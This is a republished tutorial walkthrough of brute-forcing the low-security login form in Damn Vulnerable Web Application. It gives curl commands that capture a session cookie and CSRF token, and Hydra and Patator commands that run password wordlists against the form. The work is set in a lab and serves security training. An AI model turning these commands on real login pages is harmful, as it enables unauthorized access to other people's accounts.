← 返回列表

DVWA Brute Force (Low Level) - HTTP GET Form [Hydra, Patator, Burp]

单站 g0tmi1k 发布 2015-10-29T16:05:00+00:00 入库 2026-11-17T04:55:06

This post is a "how to" for the "brute force" module set to "low" level security inside of Damn Vulnerable Web Application (DVWA). There are separate posts for the medium level (time delay) and high setting (CSRF tokens). There is a related post for the login screen as it was also brute forced (HTTP POST form with CSRF tokens).

Brute Force DVWA Low Level Brute Force DVWA Low Level

Once more, let's forget the credentials we used to login to DVWA with (admin:password).

Let's not try the default login for the web application.

Let's play dumb and brute force DVWA... again.

TL;DR: Quick copy/paste

| 1 2 3 4 5 6 7 8 9 10 11 12 13 | CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" \| awk -F 'value=' '/user_token/ {print $2}' \| cut -d "'" -f2) SESSIONID=$(grep PHPSESSID dvwa.cookie \| awk -F ' ' '{print $7}') curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" hydra -L /usr/share/seclists/Usernames/top_shortlist.txt -P /usr/share/seclists/Passwords/rockyou-40.txt \ -e ns -F -u -t 1 -w 10 -v -V 192.168.1.44 http-get-form \ "/DVWA/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area:H=Cookie\: security=low; PHPSESSID=${SESSIONID}" patator http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=10 \ url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&Login=Login" \ 1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \ header="Cookie: security=low; PHPSESSID=${SESSIONID}" \ -x quit:fgrep='Welcome to the password protected area' |

Objectives

Setup

Both machines are running inside a Virtual Machine (VMware ESXi).

Tools

What is brute force?

For the people who are unaware of "brute force attacks", here is an overview of the most common points:

Creating a Session Cookie

To get the web form that we want to brute force (http://192.168.1.44/DVWA/vulnerabilities/brute/), we must already be logged in. This in itself is a bit of an odd thing to-do as most of the time, you would not be authenticated hence the brute forcing... Anyway, as we are going to be using a lot of command line tools, we need to create an active and valid session to interact with DVWA. Normally, you would not have to-do this. This is just for DVWA.

I'm going to be re-running these commands often, however, this is overkill. This is because it will make it easier for people who are copying/pasting or stop/starting a lot (hence their session times out) or people jumping around the page (skipping sections out). As long as the admin's password has not been changed from the default value (password), this will work (depending on your target's IP address).

| 1 2 3 4 5 6 | [root:~]# CSRF=$(curl -s -c dvwa.cookie 'http://192.168.1.44/DVWA/login.php' \| awk -F 'value=' '/user_token/ {print $2}' \| cut -d "'" -f2) [root:~]# curl -s -b dvwa.cookie --data "username=admin&password=password&user_token=${CSRF}&Login=Login" "http://192.168.1.44/DVWA/login.php" <head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="index.php">here</a></body># [root:~]# sed -i '/security/d' dvwa.cookie [root:~]# |

Create Session Cookie

Note, depending on the web server & its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.

The first line grabs the "Anti Cross-Site Request Forgery (CSRF)" token (as explained when brute forcing the main login page), and extracts the user_token field) which will be a unique value each time and paired to the session ID. We then send a request that would be the same as filling in the form with the user credentials (again, see the main login page being brute forced to see how this was constructed), using the same cookie which was set from our first request. Lastly we remove the security level from the cookie value. As this would be a "static" value, and ideally we want it to be "dynamic" (so we can change the level based in our request).

Information Gathering

If this was a "real world" scenario, we would clone the target's production setup as best we could (e.g. find if it is using "off the shelf" software, web server information, what versions etc.) and clone it into a test lab. This means we could fully control the web application, allowing us to understand it better. For example, we could create a user on the system and watch how the program responses with a successful login, rather than just guessing and hoping.

However, we will take a slightly different approach as this shows why doing information gathering as you go along is important as well using different techniques and methods.

Form HTML Code

The first thing we want to-do is to see what we are going up against. Same idea as before; let's see the returned HTML code. This is done by using sed to extract between the HTML tags we want (known ahead of time).

| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | [root:~]# curl -s -b 'security=low' -b dvwa.cookie 'http://192.168.1.44/DVWA/vulnerabilities/brute/' \| sed -n '/<div class="body_padded/,/<\/div/p' < div class="body_padded"> <h1>Vulnerability: Brute Force</h1> <div class="vulnerable_code_area"> <h2>Login</h2> <form action="#" method="GET"> Username:<br /> <input type="text" name="username"><br /> Password:<br /> <input type="password" AUTOCOMPLETE="off" name="password"><br /> <br /> <input type="submit" value="Login" name="Login"> </form> </div> <div class="body_padded"><div class="message">You have logged in as 'admin'</div></div> </div> [root:~]# |

Form HTML Code

原文链接:https://blog.g0tmi1k.com/dvwa/bruteforce-low/